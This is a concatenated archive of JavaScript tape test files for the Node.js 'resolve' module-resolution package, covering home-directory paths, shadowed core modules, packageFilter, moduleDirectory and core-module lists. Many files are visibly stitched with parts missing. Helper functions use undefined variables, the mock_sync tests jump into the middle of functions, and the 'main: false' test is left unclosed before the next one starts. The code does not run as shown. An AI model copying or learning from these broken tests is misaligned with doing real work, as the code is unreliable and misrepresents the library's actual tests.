    t.plan(7);

makeTempDir(t, hnm, function (err) {
        t.error(err, 'no error with HNM temp dir');
        if (err) {
            return t.end();
        }

var bazHNMDir = path.join(hnm, 'baz');
        var dotMainDir = path.join(hnm, 'dot_main');
        copyDir.sync(path.join(__dirname, 'resolver/baz'), bazHNMDir);
        copyDir.sync(path.join(__dirname, 'resolver/dot_main'), dotMainDir);

var bazPkg = { name: 'baz', main: 'quux.js' };
        var dotMainPkg = { main: 'index' };

var bazHNMmain = path.join(bazHNMDir, 'quux.js');
        t.equal(require.resolve('baz'), bazHNMmain, 'sanity check: require.resolve finds HNM `baz`');
        var dotMainMain = path.join(dotMainDir, 'index.js');
        t.equal(require.resolve('dot_main'), dotMainMain, 'sanity check: require.resolve finds `dot_main`');

makeTempDir(t, hnl, function (err) {
            t.error(err, 'no error with HNL temp dir');
            if (err) {
                return t.end();
            }
            var bazHNLDir = path.join(hnl, 'baz');
            copyDir.sync(path.join(__dirname, 'resolver/baz'), bazHNLDir);

var dotSlashMainDir = path.join(hnl, 'dot_slash_main');
            var dotSlashMainMain = path.join(dotSlashMainDir, 'index.js');
            var dotSlashMainPkg = { main: 'index' };
            copyDir.sync(path.join(__dirname, 'resolver/dot_slash_main'), dotSlashMainDir);

t.equal(require.resolve('baz'), bazHNMmain, 'sanity check: require.resolve finds HNM `baz`');
            t.equal(require.resolve('dot_slash_main'), dotSlashMainMain, 'sanity check: require.resolve finds HNL `dot_slash_main`');

t.test('with temp dirs', function (st) {
                st.plan(3);

st.test('just in `$HOME/.node_modules`', function (s2t) {
                    s2t.plan(3);

resolve('dot_main', function (err, res, pkg) {
                        s2t.error(err, 'no error resolving `dot_main`');
                        s2t.equal(res, dotMainMain, '`dot_main` resolves in `$HOME/.node_modules`');
                        s2t.deepEqual(pkg, dotMainPkg);
                    });
                });

st.test('just in `$HOME/.node_libraries`', function (s2t) {
                    s2t.plan(3);

resolve('dot_slash_main', function (err, res, pkg) {
                        s2t.error(err, 'no error resolving `dot_slash_main`');
                        s2t.equal(res, dotSlashMainMain, '`dot_slash_main` resolves in `$HOME/.node_libraries`');
                        s2t.deepEqual(pkg, dotSlashMainPkg);
                    });
                });

st.test('in `$HOME/.node_libraries` and `$HOME/.node_modules`', function (s2t) {
                    s2t.plan(3);

resolve('baz', function (err, res, pkg) {
                        s2t.error(err, 'no error resolving `baz`');
                        s2t.equal(res, bazHNMmain, '`baz` resolves in `$HOME/.node_modules` when in both');
                        s2t.deepEqual(pkg, bazPkg);
                    });
                });
            });
        });
    });
});
test/shadowed_core.js000064400000003426151676724420010712 0ustar00var test = require('tape');
var resolve = require('../');
var path = require('path');

test('shadowed core modules still return core module', function (t) {
    t.plan(2);

resolve('util', { basedir: path.join(__dirname, 'shadowed_core') }, function (err, res) {
        t.ifError(err);
        t.equal(res, 'util');
    });
});

test('shadowed core modules still return core module [sync]', function (t) {
    t.plan(1);

var res = resolve.sync('util', { basedir: path.join(__dirname, 'shadowed_core') });

t.equal(res, 'util');
});

test('shadowed core modules return shadow when appending `/`', function (t) {
    t.plan(2);

resolve('util/', { basedir: path.join(__dirname, 'shadowed_core') }, function (err, res) {
        t.ifError(err);
        t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js'));
    });
});

test('shadowed core modules return shadow when appending `/` [sync]', function (t) {
    t.plan(1);

var res = resolve.sync('util/', { basedir: path.join(__dirname, 'shadowed_core') });

t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js'));
});

test('shadowed core modules return shadow with `includeCoreModules: false`', function (t) {
    t.plan(2);

resolve('util', { basedir: path.join(__dirname, 'shadowed_core'), includeCoreModules: false }, function (err, res) {
        t.ifError(err);
        t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js'));
    });
});

test('shadowed core modules return shadow with `includeCoreModules: false` [sync]', function (t) {
    t.plan(1);

var res = resolve.sync('util', { basedir: path.join(__dirname, 'shadowed_core'), includeCoreModules: false });

t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js'));
});
test/nonstring.js000064400000000266151676724420010124 0ustar00var test = require('tape');
var resolve = require('../');

test('nonstring', function (t) {
    t.plan(1);
    resolve(555, function (err, res, pkg) {
        t.ok(err);
    });
});
test/filter_sync.js000064400000002623151676724420010423 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('filter', function (t) {
    var dir = path.join(__dirname, 'resolver');
    var packageFilterArgs;
    var res = resolve.sync('./baz', {
        basedir: dir,
        // NOTE: in v2.x, this will be `pkg, pkgfile, dir`, but must remain "broken" here in v1.x for compatibility
        packageFilter: function (pkg, /*pkgfile,*/ dir) { // eslint-disable-line spaced-comment
            pkg.main = 'doom'; // eslint-disable-line no-param-reassign
            packageFilterArgs = 'is 1.x' ? [pkg, dir] : [pkg, pkgfile, dir]; // eslint-disable-line no-constant-condition, no-undef
            return pkg;
        }
    });

t.equal(res, path.join(dir, 'baz/doom.js'), 'changing the package "main" works');

var packageData = packageFilterArgs[0];
    t.equal(packageData.main, 'doom', 'package "main" was altered');

if (!'is 1.x') { // eslint-disable-line no-constant-condition
        var packageFile = packageFilterArgs[1];
        t.equal(packageFile, path.join(dir, 'baz', 'package.json'), 'package.json path is correct');
    }

var packageDir = packageFilterArgs['is 1.x' ? 1 : 2]; // eslint-disable-line no-constant-condition
    // eslint-disable-next-line no-constant-condition
    t.equal(packageDir, path.join(dir, 'baz'), ('is 1.x' ? 'second' : 'third') + ' packageFilter argument is "dir"');

t.end();
});
test/node-modules-paths.js000064400000011755151676724420011620 0ustar00var test = require('tape');
var path = require('path');
var parse = path.parse || require('path-parse');
var keys = require('object-keys');

var nodeModulesPaths = require('../lib/node-modules-paths');

var verifyDirs = function verifyDirs(t, start, dirs, moduleDirectories, paths) {
    var moduleDirs = [].concat(moduleDirectories || 'node_modules');
    if (paths) {
        for (var k = 0; k < paths.length; ++k) {
            moduleDirs.push(path.basename(paths[k]));
        }
    }

var counts = {};
    for (var j = 0; j < foundModuleDirNames.length; ++j) {
        counts[foundModuleDirs[j]] = true;
    }
    t.equal(keys(counts).length, 1, 'all found module directories had the same count');
};

test('node-modules-paths', function (t) {
    t.test('no options', function (t) {
        var start = path.join(__dirname, 'resolver');
        var dirs = nodeModulesPaths(start);

verifyDirs(t, start, dirs);

t.end();
    });

t.test('empty options', function (t) {
        var start = path.join(__dirname, 'resolver');
        var dirs = nodeModulesPaths(start, {});

verifyDirs(t, start, dirs);

t.end();
    });

t.test('with paths=array option', function (t) {
        var start = path.join(__dirname, 'resolver');
        var paths = ['a', 'b'];
        var dirs = nodeModulesPaths(start, { paths: paths });

verifyDirs(t, start, dirs, null, paths);

t.end();
    });

t.test('with paths=function option', function (t) {
        var paths = function paths(request, absoluteStart, getNodeModulesDirs, opts) {
            return getNodeModulesDirs().concat(path.join(absoluteStart, 'not node modules', request));
        };

var start = path.join(__dirname, 'resolver');
        var dirs = nodeModulesPaths(start, { paths: paths }, 'pkg');

verifyDirs(t, start, dirs, null, [path.join(start, 'not node modules', 'pkg')]);

t.end();
    });

t.test('with paths=function skipping node modules resolution', function (t) {
        var paths = function paths(request, absoluteStart, getNodeModulesDirs, opts) {
            return [];
        };
        var start = path.join(__dirname, 'resolver');
        var dirs = nodeModulesPaths(start, { paths: paths });
        t.deepEqual(dirs, [], 'no node_modules was computed');
        t.end();
    });

t.test('with moduleDirectory option', function (t) {
        var start = path.join(__dirname, 'resolver');
        var moduleDirectory = 'not node modules';
        var dirs = nodeModulesPaths(start, { moduleDirectory: moduleDirectory });

verifyDirs(t, start, dirs, moduleDirectory);

t.end();
    });

t.test('with 1 moduleDirectory and paths options', function (t) {
        var start = path.join(__dirname, 'resolver');
        var paths = ['a', 'b'];
        var moduleDirectory = 'not node modules';
        var dirs = nodeModulesPaths(start, { paths: paths, moduleDirectory: moduleDirectory });

verifyDirs(t, start, dirs, moduleDirectory, paths);

t.end();
    });

t.test('with 1+ moduleDirectory and paths options', function (t) {
        var start = path.join(__dirname, 'resolver');
        var paths = ['a', 'b'];
        var moduleDirectories = ['not node modules', 'other modules'];
        var dirs = nodeModulesPaths(start, { paths: paths, moduleDirectory: moduleDirectories });

verifyDirs(t, start, dirs, moduleDirectories, paths);

t.end();
    });

t.test('combine paths correctly on Windows', function (t) {
        var start = 'C:\\Users\\username\\myProject\\src';
        var paths = [];
        var moduleDirectories = ['node_modules', start];
        var dirs = nodeModulesPaths(start, { paths: paths, moduleDirectory: moduleDirectories });

t.equal(dirs.indexOf(path.resolve(start)) > -1, true, 'should contain start dir');

t.end();
    });

t.test('combine paths correctly on non-Windows', { skip: process.platform === 'win32' }, function (t) {
        var start = '/Users/username/git/myProject/src';
        var paths = [];
        var moduleDirectories = ['node_modules', '/Users/username/git/myProject/src'];
        var dirs = nodeModulesPaths(start, { paths: paths, moduleDirectory: moduleDirectories });

t.equal(dirs.indexOf(path.resolve(start)) > -1, true, 'should contain start dir');

t.end();
    });
});
test/faulty_basedir.js000064400000001447151676724420011102 0ustar00var test = require('tape');
var path = require('path');
var resolve = require('../');

test('faulty basedir must produce error in windows', { skip: process.platform !== 'win32' }, function (t) {
    t.plan(1);

var resolverDir = 'C:\\a\\b\\c\\d';

resolve('tape/lib/test.js', { basedir: resolverDir }, function (err, res, pkg) {
        t.equal(!!err, true);
    });
});

test('non-existent basedir should not throw when preserveSymlinks is false', function (t) {
    t.plan(2);

var opts = {
        basedir: path.join(path.sep, 'unreal', 'path', 'that', 'does', 'not', 'exist'),
        preserveSymlinks: false
    };

var module = './dotdot/abc';

resolve(module, opts, function (err, res) {
        t.equal(err.code, 'MODULE_NOT_FOUND');
        t.equal(res, undefined);
    });
});
test/node_path.js000064400000004120151676724420010035 0ustar00var fs = require('fs');
var path = require('path');
var test = require('tape');
var resolve = require('../');

test('$NODE_PATH', function (t) {
    t.plan(8);

resolve('aaa', {
        paths: [
            path.join(__dirname, '/node_path/x'),
            path.join(__dirname, '/node_path/y')
        ],
        basedir: __dirname,
        isDirectory: isDir
    }, function (err, res) {
        t.error(err);
        t.equal(res, path.join(__dirname, '/node_path/x/aaa/index.js'), 'aaa resolves');
    });

resolve('bbb', {
        paths: [
            path.join(__dirname, '/node_path/x'),
            path.join(__dirname, '/node_path/y')
        ],
        basedir: __dirname,
        isDirectory: isDir
    }, function (err, res) {
        t.error(err);
        t.equal(res, path.join(__dirname, '/node_path/y/bbb/index.js'), 'bbb resolves');
    });

resolve('ccc', {
        paths: [
            path.join(__dirname, '/node_path/x'),
            path.join(__dirname, '/node_path/y')
        ],
        basedir: __dirname,
        isDirectory: isDir
    }, function (err, res) {
        t.error(err);
        t.equal(res, path.join(__dirname, '/node_path/x/ccc/index.js'), 'ccc resolves');
    });

// ensure that relative paths still resolve against the regular `node_modules` correctly
    resolve('tap', {
        paths: [
            'node_path'
        ],
        basedir: path.join(__dirname, 'node_path/x'),
        isDirectory: isDir
    }, function (err, res) {
        var root = require('tap/package.json').main; // eslint-disable-line global-require
        t.error(err);
        t.equal(res, path.resolve(__dirname, '..', 'node_modules/tap', root), 'tap resolves');
    });
});
test/module_dir.js000064400000003026151676724420010223 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('moduleDirectory strings', function (t) {
    t.plan(4);
    var dir = path.join(__dirname, 'module_dir');
    var xopts = {
        basedir: dir,
        moduleDirectory: 'xmodules'
    };
    resolve('aaa', xopts, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, '/xmodules/aaa/index.js'));
    });

var yopts = {
        basedir: dir,
        moduleDirectory: 'ymodules'
    };
    resolve('aaa', yopts, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, '/ymodules/aaa/index.js'));
    });
});

test('moduleDirectory array', function (t) {
    t.plan(6);
    var dir = path.join(__dirname, 'module_dir');
    var aopts = {
        basedir: dir,
        moduleDirectory: ['xmodules', 'ymodules', 'zmodules']
    };
    resolve('aaa', aopts, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, '/xmodules/aaa/index.js'));
    });

var bopts = {
        basedir: dir,
        moduleDirectory: ['zmodules', 'ymodules', 'xmodules']
    };
    resolve('aaa', bopts, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, '/ymodules/aaa/index.js'));
    });

var copts = {
        basedir: dir,
        moduleDirectory: ['xmodules', 'ymodules', 'zmodules']
    };
    resolve('bbb', copts, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, '/zmodules/bbb/main.js'));
    });
});
test/mock_sync.js000064400000013637151676724420010076 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('mock', function (t) {
    t.plan(4);

var files = {};
    files[path.resolve('/foo/bar/baz.js')] = 'beep';

var dirs = {};
    dirs[path.resolve('/foo/bar')] = true;

t.equal(
        resolve.sync('./baz', opts('/foo/bar')),
        path.resolve('/foo/bar/baz.js')
    );

t.equal(
        resolve.sync('./baz.js', opts('/foo/bar')),
        path.resolve('/foo/bar/baz.js')
    );

t.throws(function () {
        resolve.sync('baz', opts('/foo/bar'));
    });

t.throws(function () {
        resolve.sync('../baz', opts('/foo/bar'));
    });
});

test('mock package', function (t) {
    t.plan(1);

var files = {};
    files[path.resolve('/foo/node_modules/bar/baz.js')] = 'beep';
    files[path.resolve('/foo/node_modules/bar/package.json')] = JSON.stringify({
        main: './baz.js'
    });

var dirs = {};
    dirs[path.resolve('/foo')] = true;
    dirs[path.resolve('/foo/node_modules')] = true;

t.equal(
        resolve.sync('bar', opts('/foo')),
        path.resolve('/foo/node_modules/bar/baz.js')
    );
});

test('symlinked', function (t) {
    t.plan(2);

var files = {};
    files[path.resolve('/foo/bar/baz.js')] = 'beep';
    files[path.resolve('/foo/bar/symlinked/baz.js')] = 'beep';

var dirs = {};
    dirs[path.resolve('/foo/bar')] = true;
    dirs[path.resolve('/foo/bar/symlinked')] = true;

if (resolved.indexOf('symlinked') >= 0) {
                    return resolved;
                }

var ext = path.extname(resolved);

if (ext) {
                    var dir = path.dirname(resolved);
                    var base = path.basename(resolved);
                    return path.join(dir, 'symlinked', base);
                }
                return path.join(resolved, 'symlinked');
            }
        };
    }

t.equal(
        resolve.sync('./baz', opts('/foo/bar')),
        path.resolve('/foo/bar/symlinked/baz.js')
    );

t.equal(
        resolve.sync('./baz.js', opts('/foo/bar')),
        path.resolve('/foo/bar/symlinked/baz.js')
    );
});

test('readPackageSync', function (t) {
    t.plan(3);

var dirs = {};
    dirs[path.resolve('/foo')] = true;
    dirs[path.resolve('/foo/node_modules')] = true;

st.equal(
            resolve.sync('bar', opts('/foo')),
            path.resolve('/foo/node_modules/bar/baz.js')
        );
    });

t.test('with readPackage', function (st) {
        st.plan(1);

var options = opts('/foo');
        delete options.readFileSync;
        options.readPackageSync = readPackageSync;

st.equal(
            resolve.sync('bar', options),
            path.resolve('/foo/node_modules/bar/something-else.js')
        );
    });

t.test('with readFile and readPackage', function (st) {
        st.plan(1);

var options = opts('/foo');
        options.readPackageSync = readPackageSync;
        st.throws(
            function () { resolve.sync('bar', options); },
            TypeError,
            'errors when both readFile and readPackage are provided'
        );
    });
});

test/subdirs.js000064400000000541151676724420007552 0ustar00var test = require('tape');
var resolve = require('../');
var path = require('path');

test('subdirs', function (t) {
    t.plan(2);

var dir = path.join(__dirname, '/subdirs');
    resolve('a/b/c/x.json', { basedir: dir }, function (err, res) {
        t.ifError(err);
        t.equal(res, path.join(dir, 'node_modules/a/b/c/x.json'));
    });
});
test/shadowed_core/node_modules/util/index.js000064400000000000151676724420015434 0ustar00test/home_paths_sync.js000064400000007325151676724420011271 0ustar00'use strict';

var fs = require('fs');
var homedir = require('../lib/homedir');
var path = require('path');

var test = require('tape');
var mkdirp = require('mkdirp');
var rimraf = require('rimraf');
var mv = require('mv');
var copyDir = require('copy-dir');
var tmp = require('tmp');

var HOME = homedir();

var hnm = path.join(HOME, '.node_modules');
var hnl = path.join(HOME, '.node_libraries');

var resolve = require('../sync');

test('homedir module paths', function (t) {
    t.plan(7);

makeTempDir(t, hnm, function (err) {
        t.error(err, 'no error with HNM temp dir');
        if (err) {
            return t.end();
        }

var dotSlashMainDir = path.join(hnl, 'dot_slash_main');
            var dotSlashMainMain = path.join(dotSlashMainDir, 'index.js');
            copyDir.sync(path.join(__dirname, 'resolver/dot_slash_main'), dotSlashMainDir);

t.test('with temp dirs', function (st) {
                st.plan(3);

st.test('just in `$HOME/.node_modules`', function (s2t) {
                    s2t.plan(1);

var res = resolve('dot_main');
                    s2t.equal(res, dotMainMain, '`dot_main` resolves in `$HOME/.node_modules`');
                });

st.test('just in `$HOME/.node_libraries`', function (s2t) {
                    s2t.plan(1);

var res = resolve('dot_slash_main');
                    s2t.equal(res, dotSlashMainMain, '`dot_slash_main` resolves in `$HOME/.node_libraries`');
                });

st.test('in `$HOME/.node_libraries` and `$HOME/.node_modules`', function (s2t) {
                    s2t.plan(1);

var res = resolve('baz');
                    s2t.equal(res, bazHNMmain, '`baz` resolves in `$HOME/.node_modules` when in both');
                });
            });
        });
    });
});
test/core.js000064400000005762151676724420007041 0ustar00var test = require('tape');
var keys = require('object-keys');
var semver = require('semver');

var resolve = require('../');

var brokenNode = semver.satisfies(process.version, '11.11 - 11.13');

test('core modules', function (t) {
    t.test('isCore()', function (st) {
        st.ok(resolve.isCore('fs'));
        st.ok(resolve.isCore('net'));
        st.ok(resolve.isCore('http'));

st.ok(!resolve.isCore('seq'));
        st.ok(!resolve.isCore('../'));

st.ok(!resolve.isCore('toString'));

st.end();
    });

t.test('core list', function (st) {
        var cores = keys(resolve.core);
        st.plan(cores.length);

for (var i = 0; i < cores.length; ++i) {
            var mod = cores[i];
            // note: this must be require, not require.resolve, due to https://github.com/nodejs/node/issues/43274
            var requireFunc = function () { require(mod); }; // eslint-disable-line no-loop-func
            t.comment(mod + ': ' + resolve.core[mod]);
            if (resolve.core[mod]) {
                st.doesNotThrow(requireFunc, mod + ' supported; requiring does not throw');
            } else if (brokenNode) {
                st.ok(true, 'this version of node is broken: attempting to require things that fail to resolve breaks "home_paths" tests');
            } else {
                st.throws(requireFunc, mod + ' not supported; requiring throws');
            }
        }

st.end();
    });

t.test('core via repl module', { skip: !resolve.core.repl }, function (st) {
        var libs = require('repl')._builtinLibs; // eslint-disable-line no-underscore-dangle
        if (!libs) {
            st.skip('module.builtinModules does not exist');
            return st.end();
        }
        for (var i = 0; i < libs.length; ++i) {
            var mod = libs[i];
            st.ok(resolve.core[mod], mod + ' is a core module');
            st.doesNotThrow(
                function () { require(mod); }, // eslint-disable-line no-loop-func
                'requiring ' + mod + ' does not throw'
            );
        }
        st.end();
    });

t.test('core via builtinModules list', { skip: !resolve.core.module }, function (st) {
        var libs = require('module').builtinModules;
        if (!libs) {
            st.skip('module.builtinModules does not exist');
            return st.end();
        }
        var blacklist = [
            '_debug_agent',
            'v8/tools/tickprocessor-driver',
            'v8/tools/SourceMap',
            'v8/tools/tickprocessor',
            'v8/tools/profile'
        ];
        for (var i = 0; i < libs.length; ++i) {
            var mod = libs[i];
            if (blacklist.indexOf(mod) === -1) {
                st.ok(resolve.core[mod], mod + ' is a core module');
                st.doesNotThrow(
                    function () { require(mod); }, // eslint-disable-line no-loop-func
                    'requiring ' + mod + ' does not throw'
                );
            }
        }
        st.end();
    });

t.end();
});
test/resolver.js000064400000047136151676724420007753 0ustar00var path = require('path');
var fs = require('fs');
var test = require('tape');
var resolve = require('../');
var async = require('../async');

test('`./async` entry point', function (t) {
    t.equal(resolve, async, '`./async` entry point is the same as `main`');
    t.end();
});

test('async foo', function (t) {
    t.plan(12);
    var dir = path.join(__dirname, 'resolver');

resolve('./foo', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo.js'));
        t.equal(pkg && pkg.name, 'resolve');
    });

resolve('./foo.js', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo.js'));
        t.equal(pkg && pkg.name, 'resolve');
    });

resolve('./foo', { basedir: dir, 'package': { main: 'resolver' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo.js'));
        t.equal(pkg && pkg.main, 'resolver');
    });

resolve('./foo.js', { basedir: dir, 'package': { main: 'resolver' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo.js'));
        t.equal(pkg.main, 'resolver');
    });

resolve('./foo', { basedir: dir, filename: path.join(dir, 'baz.js') }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo.js'));
    });

resolve('foo', { basedir: dir }, function (err) {
        t.equal(err.message, "Cannot find module 'foo' from '" + path.resolve(dir) + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });

// Test that filename is reported as the "from" value when passed.
    resolve('foo', { basedir: dir, filename: path.join(dir, 'baz.js') }, function (err) {
        t.equal(err.message, "Cannot find module 'foo' from '" + path.join(dir, 'baz.js') + "'");
    });
});

test('bar', function (t) {
    t.plan(6);
    var dir = path.join(__dirname, 'resolver');

resolve('foo', { basedir: dir + '/bar' }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'bar/node_modules/foo/index.js'));
        t.equal(pkg, undefined);
    });

resolve('foo', { basedir: dir + '/bar', 'package': { main: 'bar' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'bar/node_modules/foo/index.js'));
        t.equal(pkg.main, 'bar');
    });
});

test('baz', function (t) {
    t.plan(4);
    var dir = path.join(__dirname, 'resolver');

resolve('./baz', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'baz/quux.js'));
        t.equal(pkg.main, 'quux.js');
    });

resolve('./baz', { basedir: dir, 'package': { main: 'resolver' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'baz/quux.js'));
        t.equal(pkg.main, 'quux.js');
    });
});

test('biz', function (t) {
    t.plan(24);
    var dir = path.join(__dirname, 'resolver/biz/node_modules');

resolve('./grux', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'grux/index.js'));
        t.equal(pkg, undefined);
    });

resolve('./grux', { basedir: dir, 'package': { main: 'biz' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'grux/index.js'));
        t.equal(pkg.main, 'biz');
    });

resolve('./garply', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'garply/lib/index.js'));
        t.equal(pkg.main, './lib');
    });

resolve('./garply', { basedir: dir, 'package': { main: 'biz' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'garply/lib/index.js'));
        t.equal(pkg.main, './lib');
    });

resolve('tiv', { basedir: dir + '/grux' }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'tiv/index.js'));
        t.equal(pkg, undefined);
    });

resolve('tiv', { basedir: dir + '/grux', 'package': { main: 'grux' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'tiv/index.js'));
        t.equal(pkg.main, 'grux');
    });

resolve('tiv', { basedir: dir + '/garply' }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'tiv/index.js'));
        t.equal(pkg, undefined);
    });

resolve('tiv', { basedir: dir + '/garply', 'package': { main: './lib' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'tiv/index.js'));
        t.equal(pkg.main, './lib');
    });

resolve('grux', { basedir: dir + '/tiv' }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'grux/index.js'));
        t.equal(pkg, undefined);
    });

resolve('grux', { basedir: dir + '/tiv', 'package': { main: 'tiv' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'grux/index.js'));
        t.equal(pkg.main, 'tiv');
    });

resolve('garply', { basedir: dir + '/tiv' }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'garply/lib/index.js'));
        t.equal(pkg.main, './lib');
    });

resolve('garply', { basedir: dir + '/tiv', 'package': { main: 'tiv' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'garply/lib/index.js'));
        t.equal(pkg.main, './lib');
    });
});

test('quux', function (t) {
    t.plan(2);
    var dir = path.join(__dirname, 'resolver/quux');

resolve('./foo', { basedir: dir, 'package': { main: 'quux' } }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'foo/index.js'));
        t.equal(pkg.main, 'quux');
    });
});

test('normalize', function (t) {
    t.plan(2);
    var dir = path.join(__dirname, 'resolver/biz/node_modules/grux');

resolve('../grux', { basedir: dir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'index.js'));
        t.equal(pkg, undefined);
    });
});

test('cup', function (t) {
    t.plan(5);
    var dir = path.join(__dirname, 'resolver');

resolve('./cup', { basedir: dir, extensions: ['.js', '.coffee'] }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'cup.coffee'));
    });

resolve('./cup.coffee', { basedir: dir }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'cup.coffee'));
    });

resolve('./cup', { basedir: dir, extensions: ['.js'] }, function (err, res) {
        t.equal(err.message, "Cannot find module './cup' from '" + path.resolve(dir) + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });

// Test that filename is reported as the "from" value when passed.
    resolve('./cup', { basedir: dir, extensions: ['.js'], filename: path.join(dir, 'cupboard.js') }, function (err, res) {
        t.equal(err.message, "Cannot find module './cup' from '" + path.join(dir, 'cupboard.js') + "'");
    });
});

test('mug', function (t) {
    t.plan(3);
    var dir = path.join(__dirname, 'resolver');

resolve('./mug', { basedir: dir }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'mug.js'));
    });

resolve('./mug', { basedir: dir, extensions: ['.coffee', '.js'] }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, '/mug.coffee'));
    });

resolve('./mug', { basedir: dir, extensions: ['.js', '.coffee'] }, function (err, res) {
        t.equal(res, path.join(dir, '/mug.js'));
    });
});

test('other path', function (t) {
    t.plan(6);
    var resolverDir = path.join(__dirname, 'resolver');
    var dir = path.join(resolverDir, 'bar');
    var otherDir = path.join(resolverDir, 'other_path');

resolve('root', { basedir: dir, paths: [otherDir] }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(resolverDir, 'other_path/root.js'));
    });

resolve('lib/other-lib', { basedir: dir, paths: [otherDir] }, function (err, res) {
        if (err) t.fail(err);
        t.equal(res, path.join(resolverDir, 'other_path/lib/other-lib.js'));
    });

resolve('root', { basedir: dir }, function (err, res) {
        t.equal(err.message, "Cannot find module 'root' from '" + path.resolve(dir) + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });

resolve('zzz', { basedir: dir, paths: [otherDir] }, function (err, res) {
        t.equal(err.message, "Cannot find module 'zzz' from '" + path.resolve(dir) + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });
});

test('path iterator', function (t) {
    t.plan(2);

var resolverDir = path.join(__dirname, 'resolver');

var exactIterator = function (x, start, getPackageCandidates, opts) {
        return [path.join(resolverDir, x)];
    };

resolve('baz', { packageIterator: exactIterator }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(resolverDir, 'baz/quux.js'));
        t.equal(pkg && pkg.name, 'baz');
    });
});

test('incorrect main', function (t) {
    t.plan(1);

var resolverDir = path.join(__dirname, 'resolver');
    var dir = path.join(resolverDir, 'incorrect_main');

resolve('./incorrect_main', { basedir: resolverDir }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'index.js'));
    });
});

test('missing index', function (t) {
    t.plan(2);

var resolverDir = path.join(__dirname, 'resolver');
    resolve('./missing_index', { basedir: resolverDir }, function (err, res, pkg) {
        t.ok(err instanceof Error);
        t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
    });
});

test('missing main', function (t) {
    t.plan(1);

var resolverDir = path.join(__dirname, 'resolver');

resolve('./missing_main', { basedir: resolverDir }, function (err, res, pkg) {
        t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
    });
});

test('null main', function (t) {
    t.plan(1);

var resolverDir = path.join(__dirname, 'resolver');

resolve('./null_main', { basedir: resolverDir }, function (err, res, pkg) {
        t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
    });
});

test('main: false', function (t) {
    t.plan(2);

test('without basedir', function (t) {
    t.plan(1);

var dir = path.join(__dirname, 'resolver/without_basedir');
    var tester = require(path.join(dir, 'main.js')); // eslint-disable-line global-require

tester(t, function (err, res, pkg) {
        if (err) {
            t.fail(err);
        } else {
            t.equal(res, path.join(dir, 'node_modules/mymodule.js'));
        }
    });
});

test('#52 - incorrectly resolves module-paths like "./someFolder/" when there is a file of the same name', function (t) {
    t.plan(2);

var dir = path.join(__dirname, 'resolver');

resolve('./foo', { basedir: path.join(dir, 'same_names') }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'same_names/foo.js'));
    });

resolve('./foo/', { basedir: path.join(dir, 'same_names') }, function (err, res, pkg) {
        if (err) t.fail(err);
        t.equal(res, path.join(dir, 'same_names/foo/index.js'));
    });
});

test('#211 - incorrectly resolves module-paths like "." when from inside a folder with a sibling file of the same name', function (t) {
    t.plan(2);

var dir = path.join(__dirname, 'resolver');

